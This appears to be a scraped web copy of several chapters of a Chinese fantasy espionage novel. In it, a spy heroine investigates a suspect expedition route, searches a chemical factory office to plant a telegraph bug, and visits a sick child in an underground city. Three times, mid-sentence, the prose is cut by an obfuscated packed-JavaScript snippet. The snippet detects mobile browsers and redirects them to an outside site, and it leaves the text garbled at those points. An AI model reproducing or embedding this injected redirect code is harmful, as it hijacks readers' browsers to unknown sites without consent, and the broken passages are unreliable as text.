加茜娅刚低下头,便被吓了一跳。这位乔纳森先生与其说是半精灵,不如说像半侏儒,比正常人类矮一个头,长得像苹果切面,滚圆蜡黄的脸,两个豆大的眼睛挤在核心,居中一条线下来是淡淡的鼻子和嘴。他极力挺直了背,伸长手臂递上名片和一小束干花。 她心中警铃大作,不敢随意打发这个苹果,于是也十分礼貌地同他交谈:“您好!久仰大名!” 加茜娅准备的礼物是“晶币糖”,一种用金箔纸包着的,仿造晶币造型包装的精致糖果,寓意财富。这是拉斐尔最近推荐给她的新样式。 她双手递过自己的名片和糖果,确保指尖与他的手掌之间始终保持一点距离,但还是不慎被他碰到。 乔纳森摩挲着名片上漂亮的烫金名字,将糖纸揉的哗哗作响。他很快红起脸,同她大肆谈论起自己监测过的勘探点和取得的成绩,同时扭着那双小眼睛,悄悄舔舐她领口的蕾丝、摇着珍珠耳坠的耳垂。 他眉飞色舞地讲着自己多么厉害,未来可期,简直是中州万千少女钦慕的梦中良人。加茜娅心有不适,脸上仍旧笑着,眼神却已在寻找机会脱身。 ——她感到不远处有一道目光落在自己身上。 转头看去,是坐在最后排的卢克西斯。他端着茶靠在椅背上,这时候眼神与加茜娅一触,顷刻转开,去看别人。偶尔抬头,看一眼对面楼顶的机械钟。 加茜娅迅速做出决定,视线划过乔纳森的肩膀,点头而笑。 乔纳森注意到她的表情,顿时一怔,忍不住也扭头看去:见是自己绝不想招惹的人,表情立刻松垮下去,将嘴抿起。 等他再回过头时,加茜娅便开始笑着、推辞他“去后花园走一走”的要求:“实在不好意思,他好像在请我过去。”因为不愿将人得罪,于是她又加上一句,“咱们接下来还有很多相处的机会呢!” 乔纳森挤出笑容,粘滞在她身上的眼神转向卢克西斯,触电般缩回来,恨恨地一撇嘴。 对于卢克西斯这种能力强大的人,加茜娅秉持着保有正常社交、不轻易得罪的想法,走去给他递了一份名片和糖果。 “谢谢。”卢克西斯不理睬她的笑,将名片和刚才那些人的一起叠在桌上。 ……其实刚才也不该看过来的,她有别的办法脱身。加茜娅主动搭讪,和他不咸不淡地聊了两句天气,心中暗悔。 她从来没接触过这种怪人,怕说多错多。其实还有点怵他,总觉得他看自己的目光不算友好。大部分时候,他都避免和她对视,她也是。 “……那就拜托您之后多多关照了!”加茜娅僵笑的脸颊开始发酸。 “我只是履行职责。”卢克西斯摇摇头。他望加茜娅的目光稍微温和了些,至少是愿意从正面看着她说话。 但在接下来,轮到加茜娅发言的时候,他似乎又讨厌起她。听着听着,胸膛起伏一阵,略微地侧过头,连正视和鼓掌都不乐意。 事实上,所有人的汇报过程,他从头到尾都眉头紧锁,越听越感到发自内心的恶心: 七个州的税收,就养着这样一群无能的国库蛀虫。在有限的资源下,不但不好好向外开拓,还要内部安插眼线、勾心斗角个没完,蠢而且坏。 “虽然之前协助过45号矿区的分析,但我实在没印象了……这里只有龙血树和石头吧?哈哈……等我之后再确定一下!” 加茜娅在台上尴尬地耸耸肩。她装作和资源署大部分职员一样庸碌无为,甚至更逊一筹,对自己曾经的工作毫不上心。 这样虽然容易招致批评,但同样也有利于洗清嫌疑。 她在同僚们的笑侃中回到座位上,又被身旁的黛尔拍拍手臂,彼此心领神会地竖了个拇指,并未注意到远处投来的冷淡目光。 最后一个环节是本次行进路线的规划。得益于三位矮人勘探师的经验和所有工作数据的整合,他们计算出最安全的新线: “我们将乘坐飞艇到达西部中转站,然后绕过两个元素风暴区,沿西北伊瑟尔州和西南堪德雷特州之间唯一的河流主干道前进,穿越边境并抵达西高地矿区入口……” 加茜娅记得格外认真,因为她很有可能就在这条路上逃跑。然而听着听着,她脸色一变: “我们在西高地矿区内部行进的路线……”主管连续报出坐标,大家的视线随着她的手指在地图上移动。 如果没记错,中途经过的八号峡谷有大量魔法元素风暴点,而这个季节正是高发期,由此穿行,无异于全员送死!加茜娅正要提出,又忽然心中一跳:这里并不属于她接手的工作范围。 这是她记忆中别人计算的数据,至于具体是谁,恐怕从来没有标注。 可是,现场也没有任何人提出异议。 那个人难道不在这里?她下意识看向主管的表情……依旧满脸笑意地继续讲解。环顾四周,都在点头。 这个瞬间,她背后浮上一阵寒意。 ——是故意的吗?如果谁暗示了相关疑虑,或埋下线索,或中途逃跑,那么毫无疑问就是数据窥探和泄露者。 加茜娅越想,越冷汗直流。她唯一的生门,恐怕就是在到那儿之前跑路,并且必须一次成功。如果,万一,联邦真有宁可错杀不可放过的计划,她绝不能跟着送死! 此刻开始,所有人的举动,都被暗处的目光盯上了…… 加茜娅果断决定,先自查一番,确保这真的不是她的数据。 她在所有人解散离开以后,立即返回项目组临时办公室,自己的新工作区。 这时早已过了资源署值班时间,窗外天黑下来,宽敞无人的办公室里只有她桌上的灯亮着,其余地方漆黑一片。 细细簌簌——加茜娅站着整理堆成山的文件,手头动作麻利,忙而不乱,眼到心到:目光移过,脑子便已反应完毕。 必须尽快回顾所有文件,除八号峡谷外,还包括夹页里有无遗漏证据。并且,再强化记忆一遍属于自己的内容…… “咚咚咚!” 寂静之中,一阵敲门声急促响起。 加茜娅手一抖,瞬间抬起头,同时心里准备好了应对策略。她收起警惕的表情,切换为友好而捎带意外的迟钝眼神,转身大大方方地喊:“请进!” 房门打开,一个她无论如何没有想到的人出现在门口:卢克西斯。她跟他不算熟,仅有今天茶歇交际的一面之缘。 卢克西斯看见是她,脸上也显露出意外与困惑之意。在昏暗的灯光环境下,他那一金一绿两只眼睛果真和魔兽似的微微发光,盯得加茜娅毛骨悚然。 “我……”加茜娅大脑飞速运转,解释的话已经涌到嘴边。 “晚上好。”他恍若未觉,直接跟她简短地打了个招呼,没头没尾。然后转开眼,抿紧嘴,神情看起来竟似有些懊恼。 他低着头慢慢走来,从衣服口袋里伸出手,“啪”一声拍在她桌上:留下价值数百的一沓晶币。然后收回手就抬腿要走。 “等等!”加茜娅先是被他打断话,又被他莫名其妙的动作震住,这会儿还没回过神来,“为什么给我这么多钱?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114444|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢克西斯侧过身。虽然松垮着肩背双手插兜,但依旧比加茜娅高了许多。他面无表情地俯视她,语气也没什么波动: “食物是代价高昂的东西,小姐。” 加茜娅怔了一下,反应过来,他是在说下午随名片赠送的糖果。这是特意趁着没人的时候,暗暗地过来还钱? 这还挺有意思。要是之后每天从资源署摸点零食点心送他,是不是每天都能爆晶币? 她如此玩笑般地一想,忽然感觉没那么怕他了。加茜娅一旦不怕谁了,就有信心调笑,并且不惹对方反感。 “那个……只是社交礼仪呀!你平时这样见外,以后不管去哪个部门混,都会被人联手排挤的哦?”她掩嘴一笑,打趣道。 “那种事不用你管。我和你们不同。”他颇为不屑地回答。 加茜娅面上未动,暗自腹诽:要真不愿同化,也不必换中州的着装。她甚至留意到,他腰侧口袋新添的怀表链在灯光下轻微闪动——这会儿随手掏出表,瞥了眼时间。 卢克西斯垂下手,将拇指勾进裤兜,微微后靠,半倚着桌缘,目光扫过加茜娅桌面,随后停在她手头资料上,顿住:“这么晚了,还留着不走?” 加茜娅自认为摸清了他的个性,因此态度上从从容容:“我不留下来,怎么看着你送……还钱呢?” 她看卢克西斯盯着她不动,只好微笑着把自己手里的资料翻过面,举给他看:“今天汇报的时候遗忘了很多内容,现在补一补,不行吗?” “你在这群人里还算像样,至少懂得羞耻。”卢克西斯看一眼资料,上面密密麻麻全是小字。他晕字,点了点头,又说:“早点回去,太晚了有戒严。” 这语气仿佛上级来视察。她有点好笑。 两人对望一眼,加茜娅以为他总要客气一下,说什么送送自己,没想到卢克西斯说完这话,很干脆地转身、关门,就这样头也不回地走了!留她一个人目瞪口呆地坐在原位。 好,看来中州的礼教只学了一半,学了外头那层花里胡哨的包装纸,把自己扮得像个人形。 她颇新奇地叹口气,手头加快整理着材料,同时在心里琢磨:这家伙有没有利用价值?看样子,他对自己印象不算太坏,但也还没好到哪去。 短期是没法像拉斐尔那样用来实施谋杀了。不过,行程启动后,若是“处好关系”,能不能在她被调查员发现的时候保护自己呢? 加茜娅突发奇想。 西高地那么偏僻的地方,人迹罕至,实力为王,只要她能蒙受强者庇护,别说调查员了,就是执政官去了也抓不住她! 唯一棘手的是,在确定卢克西斯的意愿或者找出敌方卧底之前,她不方便在公共场合与他交往过密…… 加茜娅甚至有点怕他在人前找自己说话。那样很可能让自己也被孤立。在这种危机时刻,过于显眼可不是好事。 纠结半晌,她先放下这桩事,又分神去想中州的遗留事务。 ———————————— 加茜娅最后也没有找到任何关于八号峡谷的数据线索。 她有些沮丧地回到家,往床上一躺,摸着枕头底下的手枪“银小姐”,脑子里浮现出莫伯斯的名字。随后又是一群模糊的人影。 ……要是能找到他们的某场交易记录就好了,那样就能直接确认名单。可是天底下哪有这么顺利的事呢? 她叹了口气,疲惫地闭上眼。 就在半梦半醒间,她听见床下传来细细的“滴答”声。 一根伪装作吊灯导线的细天线,沿着天花板、窗帘牵引到床底——那里藏着加茜娅用棉布包裹好的电报机。 谁会这个时候发电报?应该不会是兽人雇佣兵,毕竟她今天才与他们联络过,交代他们充实仓储,将边境旅馆打造成周围商旅和雇佣兵的补给点。 加茜娅瞬间从床上蹦下来,抄起纸笔趴在地上,调低电音,开始记录和翻译电报码: “尊敬的蒙特克莱尔先生……欣闻您对香水经销项目感兴趣……明晚……” 25.Chapter 25. 监听行动 实话说,拉斐尔闯荡中州这么多年来,还从没接过如此匪夷所思的任务。通常来讲,他的雇主们绝对信任他隐匿行踪和暗杀的能力,但对于“假冒名流”、“商业谈话”这种事—— 他光是往那吊儿郎当地一靠,就怎么看……都不像能演得好的吧! “我?”拉斐尔斜倚着窗台,伸手指了指自己,重复确认一遍,“你让我演一个商会助理?蒙特……蒙特什么?” 考虑到说这话的人是加茜娅,他没有像面对那些离谱雇主时一样,拍桌子骂骂咧咧,而是想象着自己优雅地在沙发上稳坐几个小时、细声细气说话的样子,大脑和目光同时放空。 “蒙特克莱尔先生。”加茜娅平静回复。 “加茜娅。”他捂着头呻吟一声,“你还不如让我继续跟踪托马斯和麦克啊!找机会刺杀他们也行。”只要她下令,他愿意做让她高兴的事,不问缘由。 今日来时,拉斐尔带了最新的消息:这两位使用化名的人物,原是中州日报社的高层领导。性格谨慎,日程安排保密性高,行踪不定,随身携带魔纹检测器,他远远地跟了一次就被察觉甩脱了。 谁料加茜娅沉吟良久,先将此事一放,转而又扔给他一个更棘手的活儿:扮演蒙格马利名下某商会的代表助理,去一家化工厂参观、商谈合作项目。 “你看我,像是商会愿意信任的好员工吗?”拉斐尔说完,被自己逗乐了。 加茜娅也有点想笑,但她笑不起来,因为眼下之事除此以外,别无他法。她自己的伪装药水只剩顶多半个小时功效,绝对不够支撑跑这一趟;况且,日后的逃亡途中可能还要使用。 “你不用管,明晚准时来我这儿,准备好正式着装。我会给你一枚蒙格马利家的族徽,只要戴上它,就没人敢质疑你。”加茜娅说。 上次拨给兽人雇佣兵余款到账后,他们便还回了这枚徽章。因为阿纳鲁不向她要,她就装不知道、暂时留下。果然,这回又派上用场。 她取来纸笔,坐到桌前,边想边写下一份问题与答案列表:“他们可能会问你背后是蒙格马利家哪位家族理事会元老,日常行事为何如此低调等等,这些我都提前编好了对策,只要你不过分露馅,对方就不敢轻易调查。” 拉斐尔绕到她背后,俯身看她用精灵语写字,好让他看懂大概意思——精灵文字他还能认几个;通用语嘛,那就真的只会说了。 加茜娅的字流畅又漂亮,像是在画一排排的小花小草,风吹过字符角,和她卷曲的长发一样飘扬而起,绰约灵动,无限温柔。 看着看着,他打了个哈欠,身子越俯越低,最后弯腰趴在加茜娅肩膀上,和她挨着头,眼皮往下沉,但努力地不闭上。 “你很重。”加茜娅毫不客气地指出。 拉斐尔稍微起来一点儿,半虚半实地挤着她。 “至于香水经销项目的细节,由我来应付。”加茜娅最后总结,“我会扮演你的情人,热衷香水,假装是我求着你来办这事。” 听到这话,拉斐尔突然精神了,连耷拉下的尖耳朵都竖起来:“嗯?你倒贴我?攻守异形了?” 加茜娅感到自己头上快要暴筋。她伸出手,曲起食指和拇指扣住拉斐尔下巴,往上抬几下:“你还是关心一下怎么记住这些问题吧!明天走之前,我要考你。考不过的话,往后一个月别想挨着我。” 拉斐尔看了眼问题清单,哀嚎一声,直接挂在加茜娅身上,不起来了。 第二天傍晚。 加茜娅花了将近一个小时,提问、敲打完拉斐尔后,自己也换上礼裙、戴上面纱,在大冷天里摇着华丽的蕾丝羽毛扇子,挽着他的手臂坐上专车。 拉斐尔穿着一身黑色正装,被衣服良好的做工剪裁衬托起来,身正肩直,配上不动声色的神情,看起来竟很有几分阔少姿态。 这车内空间不小,可他还是觉得狭窄,怎么放手和脚都不对劲,只好干脆克制住自己一动不动,尽量摆出严肃正经的架势。但一想到等会儿仍有自由发挥的余地,他又在心底暗自期待起来。 加茜娅将扇子搭在自己唇前,侧过目光看窗外飞快倒退的楼房和行人,心里也如倒播一样,反复推敲自己接下来的言行举止。 车副驾驶上坐着的,是“黑蔷薇”化工厂的厂长秘书,也是一会儿将要带他们参观厂房的人,个头不高、四肢精细,三十岁上下,鼻下留着一撮绅士的小胡子,十分的啰嗦多言。 “我刚开始真有些吃惊!”他絮絮不停地念叨,“我不知道您是位,混血精灵?您看上去又像白精灵又像暗精灵!但不得不说,阁下瞧着真是一表人才!” 拉斐尔默不作声,加茜娅悄悄地戳他一下。“噢,我经常被这样问。”他说。 小胡子没在意他具体回答什么,只是一个劲儿聊下去:“……我看您二位感情真好!” 拉斐尔没在意前边是什么话,但到了这儿,他开始接茬:“是的,您真有眼光,先生!”他瞄了眼加茜娅,看她毫无反应,半心虚半大胆地揽住她肩膀,“我们下个月就要去南边的海岛订婚了,到时一定邀请你……” 加茜娅探出手,恶狠狠地拧了把他的腰! 拉斐尔忍不住撇过脸笑起来。 “啊哈!祝贺祝贺!这也是我的荣幸!”小胡子在后视镜里瞧见这一幕,心领神会地大笑。随后,他眨眨眼,又看热闹不嫌事大地补充一句:“两位这么恩爱,想必一定是……女士主动追求阁下?” “当然。”拉斐尔昂首抬头,露齿而笑。 “我主动?”加茜娅的指甲更用力了。 “呃……当然是,我一见到她就投降!”拉斐尔的面部肌肉终于抽动起来,连连改口。 “哼哼。”加茜娅缩回手,冷笑着斜他一眼,不理会这混蛋控诉的目光。 到黑蔷薇化工厂时,天色已晚。汽车的震动嗡嗡声听不清楚,取而代之的是齿轮链条滚动声和蒸汽泄压锐鸣。 刚一下车,便有一阵混着硫磺、金属与未知化学物质的刺鼻气味扑面袭来,熏得人几欲落泪。 加茜娅眯着眼、捂住口鼻抬起头:眼前是一群喧嚣的灰色建筑,巨大烟囱林立、管道交错,各处滚滚地升起黑色浓烟。小胡子秘书从车里取出带有金属滤网的银色面罩,给他们戴上。 两扇高耸的铸铁门缓慢打开,他们七弯八拐地往里走,爬上一座长长的金属栈桥,由此可见楼下不同的工作分区,有精炼厂、冷却塔、沉降池和许多红墙尖顶的实验房屋。 在众多厂房的后方,一条蒸汽轨道贯穿整个化工园区,连接着原料仓库、半成品和成品站。零散各处的工人们戴着面具和皮手套有序操作大型机器,有些推着装满罐子的手推车,穿行在花花绿绿的化工池之间。 “我们厂子全年24小时不停歇,不管是香水,还是涂料、药剂,任何订单都能按时交付!”小胡子洋洋得意地倚靠在栏杆上,伸手比划,“怎么样?蒙特克莱尔先生!您对这套先进的流水线有何高见?” 拉斐尔点点头:“很不错……那些机器,转得很快。” “……”加茜娅扶了下面罩。她非常庆幸今天不用以真面目示人。 这时,楼下一名工人停下动作,背靠着滚烫冒烟的机器滑坐在地,抖着手将自己的防护面罩摘下来,露出一张脓肿发烂、不成形状的脸,不停地大口喘气。他头发和眉毛都不剩几根,浑浊发灰的眼珠子望着天空发呆。 “先生。”拉斐尔迟疑片刻,还是问出口,“为什么有些工人,脸和手都变样了?是烫伤溃烂吗?” 小胡子立马大声解释:“不!不!这些人只是不按照规则进行防护,不肯全天佩戴面具手套,才有了点副作用!他们都会得到妥善的处理……照顾!相信我,绝不耽误订单进度!”他用力地拍着胸脯做担保,并一个劲地给旁边跟着的两名保安使眼色,其中一名立刻返身下桥,大约是去“照顾”他们了。 拉斐尔似乎突然想起什么,脸色变得很差。他在接下来的参观过程中没有再见到伤患工人,但比起刚来的时候,显然兴致缺缺。 “两位在此处稍候一下,老板似乎开会去了,我去请他过来。”小胡子将二人一路带至室内的办公室大门前,就离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122829|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,只剩拉斐尔、加茜娅和一名仍戴着面具的沉默保安留在原处。 拉斐尔悄悄地附到加茜娅耳边:“我想起来,泽诺的女儿萝拉……之前大约是误诊了?现在正式发病,也是他们这个症状……泽诺准备给她做机械义肢了。” 加茜娅用羽毛扇挡住两人的下半边脸,看一眼保安,又看一眼拉斐尔,用唇语说:“这件事稍后再细说……现在你要掩护我,我进去翻翻里边的资料。” “我可以帮你进去看!”他也无声地表示。 他们此时离得很近,气息交错。加茜娅翻了个白眼,拉斐尔直直地看着她,还笑了一下。 加茜娅摇摇头。 合同资料估计锁着,她主要想看看,有没有电报机,或合作伙伴的名单及电报号码目录。毕竟,考虑到魔法卷轴昂贵且违禁,内部电话通常线路有限,因此,他们公对公交流时一定还是使用电报。 “不行,这里可能有严格的魔纹检测装置,你不能用位移术。”加茜娅飞快动着嘴唇,“再说,我不放心你的记性!”时间只允许一次性记忆,而加茜娅只敢自己来做这事。 她可不想千辛万苦地弄到错误情报,在窃听电报的时候错频,然后听到对面在谈论下午茶后勤人员要再添一百名等等。 打定主意,加茜娅立刻捂着肚子蹲下:“哎呀!疼死了!内急!” 拉斐尔心领神会,立刻瞪了眼那名保安:“你有钥匙吧?赶紧让她去里边卫生间解决一下!” 保安犹犹豫豫地开口:“我可以带小姐去楼下的……” “大胆!”加茜娅尖叫起来,“你竟敢让我和那些低贱的蚂蚁待在一起!不就借下卫生间吗!你难道没有过内急?不知道那有多么难受?再说!”她指了指黑漆漆的走廊尽头,“还不知道他们什么时候来呢?憋坏客人,你敢负责?” “不敢,但是……” “你现在放我进去,一会儿要是撞上他们,我还能替你美言几句;要是你不肯,那就别怪我们待会儿怎么说你!” 保安被她指着鼻子劈头盖脸一顿狠麻,脸部皱成抹布似的一团,哆嗦着就提起一圈钥匙上来开门锁:“请进,请进……还请您尽快!” 拉斐尔第一次见识加茜娅精彩的演技,偷偷跟她使了个眼色,无声地笑:好哇!够带劲啊! “你还敢催我!”加茜娅“哼”了一声,搡开保安,大摇大摆地闯进房间,随手“砰”地甩上门。 此时的室内一片昏暗,窗外月光落进来,将屋内各摆件映照出冷硬的轮廓。来不及找开灯处,时间紧张,行动从速! 她本就是一名历经训练、素质绝佳的间谍,因此潜入办公室后,便迅速有序地展开搜查:先到书架前,指尖如点钞般翻阅文件档案。没什么有用内容!都是过期作废的通知书、宣传册和技术手册。 加茜娅又飞奔至桌前——地毯很好地消除了她急促的脚步声。 桌上,抽屉里,各式各样的购物礼品卡和采购收据,一些匿名感谢信,看似重要但内容琐碎无聊的会议记录,胡乱记载着数字和字母的便签本……加茜娅瞟一眼就记住了内容,但由于没有线索指引,暂时也毫无用处。 焦虑的汗珠密密冒出——这里什么也没有!时间分秒流逝,她深吸一口气,将视线移到桌面上的电报机。虽然没有号码簿,但她还有最后一招:安装监听设备! 加茜娅咬紧牙关,麻利地从大衣内侧口袋里掏出小螺丝刀和微型短波接收发器,准备拧下电报机外壳的螺丝。 她的手指微微颤抖,正要将第一个螺丝卸下时,突然听见“砰砰砰!”三下沉闷的敲门声。 加茜娅看一眼门口,恨恨地暗骂一句,迅速顶进螺丝,准备将电报机放回原位。 “砰砰砰!”敲门声再次重重响起。 “咔哒——” 加茜娅身体轻动,微型收发器被她不慎从桌面碰落,在桌腿上一撞,掉到暗不见光的地毯上! 敲门声停下,转而传来门把手的旋转声。 屋内的空气瞬间凝固。她动作一僵,寒意顺着脊骨直窜颈后。 26.Chapter 26. 再访 开门瞬间,光束斜斜展开,加茜娅忽然看到了地毯上的短波收发器。 就在这片刻本能之中,她趁门背后的人还未探出头,脚一伸,将短波收发器踢到沙发底下,然后闪身钻入厕所,一边拉下冲水绳,一边拧开水龙头,并佯装推开门的动作。 ——外边几人正好依次冲进来。头顶吊灯刚刚亮起。 加茜娅心脏咚咚地跳,表现出被吓到的样子,倒抽一口气,用擦手的绢帕捂住胸口,往后退了半步。 她看清楚最前方的人,是拉斐尔。他先是面朝室内、有意无意地挡住身后人,见加茜娅掩饰妥当,才让开位置,放那名左右挪步的小胡子秘书与她见面。 “实在抱歉!小姐!”秘书头上冒着汗,声音急促,“楼下出了点小暴动,请两位马上随我撤离!” 他转过身,快步带路去紧急通道,同时不住地回头道歉:“真对不起!老板已经先撤了,说改日再谈……” 拉斐尔暗暗地松了口气。加茜娅不管他,错开身往前跑几步,跟在小胡子身侧:“我们十分理解!最近报纸上很多这类事件……” “唉!真是一群不懂感恩的家伙……”他与加茜娅打开话匣子,念叨起工厂对他们简直如父母对孩子般照顾,不仅包吃包住,还帮忙借贷、治病等等。 “你们招人的时候会仔细把关吗?”加茜娅见他突然住嘴,瞥自己一眼,赶紧补充,“我们新项目也缺人,所以跟您打听合适的渠道,毕竟您消息灵通!” 小胡子秘书受宠若惊,压低了声:“缺人吗?可以找霍桑家介绍,他们什么类型都能招到,下回我帮您引荐……” “霍桑家?”加茜娅目光一转,心中好像明白了什么,于是微笑起来,“那就有劳您关照了!” 她笑起来时,正好通道顶部的灯照下来,面纱薄透,从眉骨眼窝往下都埋进阴影,黑洞洞两团冰冷目光,挺秀的鼻梁和尖下巴亮起两道惨白。 又美又阴森。小胡子不知是被惊艳到还是被吓到,竟呆望着她,浑身一抖,踩着楼梯差点滑倒。 这一滑,引得后面拉斐尔更看不惯了,伸手拍他肩膀:“走你的路!” “对不起,对不起!”小胡子收回目光,连连赔罪。一直到坐上专车离开,都没敢再看加茜娅的脸,说话也收敛了许多。 . 半个小时后,拉斐尔带着加茜娅在指定的货运港口下了车。 此时已近深夜。但他不舍得立即送她回去。并且,还有些话想同她谈: “刚才我和你说过,那些工人出现的症状,脱发、无力、四肢和面部溃烂,和泽诺女儿现在的毛病一模一样。我有点怀疑,她是不是接触过这家工厂?” 加茜娅靠在拉斐尔身上,揉了下眼睛,感觉这个世界黑了几秒。 白天在资源署集训、晚上又是探厂又是安装监听设备,她的神思偶或陷入模糊,但还强忍着没有失去控制,深吸一口冷空气,让自己的大脑保持清醒:“情况很复杂。走吧,去地下城看望萝拉。” “我会管这件事的。”拉斐尔认真道,“泽诺救过我的命。没有他,我不会活到现在,也不会认识你。” “嗯……听起来是很有意思的故事,但你从没跟我讲过。” “那我可有太多故事想告诉你了,三天三夜也讲不完,以后慢慢说。”拉斐尔低头看着她疲惫的眼和过分苍白的脸,表情柔和下来,语气也变得犹豫,“要不还是改天再去?你状态很差。我可以去问她,然后再告诉你。” “没关系,走吧!我过几天再去开点药。”加茜娅并不放心让他自己去问,还是强打起精神,同他一起朝地下城入口的方向走去。 这回,拉斐尔没有在旁边炫耀自己的速度。他有点想带着加茜娅使用位移术,但待会儿还要过魔法屏障,恐怕加茜娅身体上吃不消这么多元素冲击。 “那个,要不我抱你……或者背你?”他有点期待地在她旁边打转。 加茜娅不想在小事上逞强,于是半抬半张地伸出双手。拉斐尔挽着加茜娅的腰,一下子将她打横抱起。轻盈柔软,幽香浮动。她用胳膊勾着他的脖子,贴着他的脸,奖励般地亲了一口。 于是,在过泥坑的时候,他头一次无师自通地搂着她跃了过去,心脏加速欢跳,好像要破出胸膛变成一只小百灵鸟,飞到天上引吭高歌。 ——这使得加茜娅的裙摆和小皮鞋始终保持干净。早该这么干的。他有点后悔地想着,觉得自己以前简直是个十足的傻瓜。 就这么懊恼又欣喜,不知不觉地进了地下城。 加茜娅在狭窄陡峭的坡路上抬头看:猜不透这地下城究竟有多深,总之上下均漆黑一片,偶有零碎的绿色荧光,仿佛哪里都是无尽深渊,而深渊的眼睛永恒俯视他们这些渺小生物。 青绿魔导灯和荧光蕈的微弱光线下,可见各处房屋的金属骨骼嵌入岩壁,不同高度的居所和坡道间均设有滑轮轨道,便于魔法天赋差的暗精灵以及地底矮人等族类通行。 过完魔纹屏障后,拉斐尔依旧只抱着加茜娅,幸福地、慢吞吞地走。 这么一来,又不得不遇到他无所事事各处游荡的狐朋狗友们。他们见了他,都笑起来。 “喂!你们两个最近又在哪儿快活?总不来喝酒。” “加茜娅,好久不见!他对你好不好?” “小杂种!又穿那些人类的衣服?去地表谈大生意啊?” 拉斐尔一直笑着,没工夫跟他们闲扯:“滚!老子有事,正事!” “又有正事!我们都懂!”身后传来那群暗精灵青年的笑骂和吹哨声。 加茜娅跟着拉斐尔离开他们,坐上一条挂着许多铁筐的滑轨,从悬崖的这头划到另一侧。举目望去,空中布满纵横交错的轨道,在来自深渊的冷风中悠悠荡荡。她向下看了一次,就把眼闭上。 泽诺和萝拉的居所位于城市中部,是一座双层嵌入式的钢筋岩洞建筑,挂在峭壁之上。加茜娅下了轨道,又被拉斐尔抱着上了几个近乎直角的窄坡,才下地。 她还因为刚才经过的魔法屏障而犯晕,于是扶住墙壁。正打算喘口气,忽然感到掌下被什么柔软黏滑的东西用力一顶,臂上瞬间激起鸡皮疙瘩,轻声一叫,差点松开手往身后悬崖倒去。 拉斐尔及时攥住她,低笑:“忘了说,这里的荧光蕈跟你不熟,别随意靠近墙,它们会移动。” 那株滴着黏液的幽绿小伞像是在回应他,撅嘴般将伞边一卷,“噗嗤”吐出一团絮状烟,酸气腾腾,然后慢慢地缩回青苔墙壁里,只留下荧光斑点。 “看来你们的规矩也不少。”加茜娅又捏他腰,“下次早点讲!” 拉斐尔捉住她的手,很自然地往自己怀里一带:“小心点,别掉下去。” 就在加茜娅想推开他时,楼上的窗户里突然传来一个女童清脆的询问声:“是银鬼来了吗?” “你还有这么酷的称号?”加茜娅睨着他做了个口型。 拉斐尔尴尬地轻咳一声,清了清嗓子,抬头喊:“是我!” 墙壁里传来齿轮钢链转动声,他们面前铁门上的魔法符文光泽“哧”地暗下去,向内敞开。这是地底民居的双重防护机制。 . 加茜娅和拉斐尔穿过厨房和客厅、沿着螺旋楼梯走到楼上。萝拉正斜卧在床上看书,见客人来了,撑着身体慢慢坐起。 她有一头稀疏暗红的短发和圆圆的绿眼睛,眉毛已脱落干净,脸颊上有些黑斑,似乎是腐溃前兆。总体看着只有人类女孩八九岁的模样,但因为是暗精灵,或许实际年龄更大一些。 “你好,萝拉!”加茜娅摆出和善的笑,“我是加茜娅,拉斐尔和泽诺的朋友。你爸爸不在家吗?” “姐姐好,我知道你的。我爸爸出门工作了,好几天才回来一趟。” 萝拉笨重地抬起机械手臂,招呼他们坐下——她的双臂都已更换成机械义肢,腿部缩在被子里看不见,只露出辅助器的一端。 拉斐尔瞅见这些,不露声色地皱了下眉,又很快掩饰着平淡了神色,对萝拉点点头,算是问过好。 加茜娅进来时就快速扫了眼房间布置:说实话,小得几乎无处落脚。半个屋子都堆满了她之前请拉斐尔送来的书,参差叠放,有的因为潮湿而卷曲变形,封皮泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146560|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起霉斑。 萝拉床边是一个放满药瓶的架子,架子上有一盏暗绿魔导灯。地面上挤着各种机械玩偶、不同材质的义肢和辅助器。 她没想到这里如此幽暗狭窄,比她从前在济贫院的住处还差劲。小小的房间里还有一个小小的萝拉,缩在不见天日的深渊里看书。 “《海洋魔法矿物勘探日志》。”加茜娅坐到床边,瞥一眼萝拉手里的书,不看名字就知道是哪本。她笑着揉揉萝拉的头:“这些勘探队的故事都很刺激。” 萝拉有些赧然地合上书:“其实,我平时很少看闲书的,今天无聊才稍微翻一下。” “闲书不好吗?也得看了才知道好不好嘛。”加茜娅看她脸红,善意解围道。 萝拉觉得自己挺喜欢这个送书的姐姐。她甚至想让加茜娅坐得再靠近点,但因为拉斐尔在场,所以不太好意思说,只转着一双灵动的绿眼打量他们。 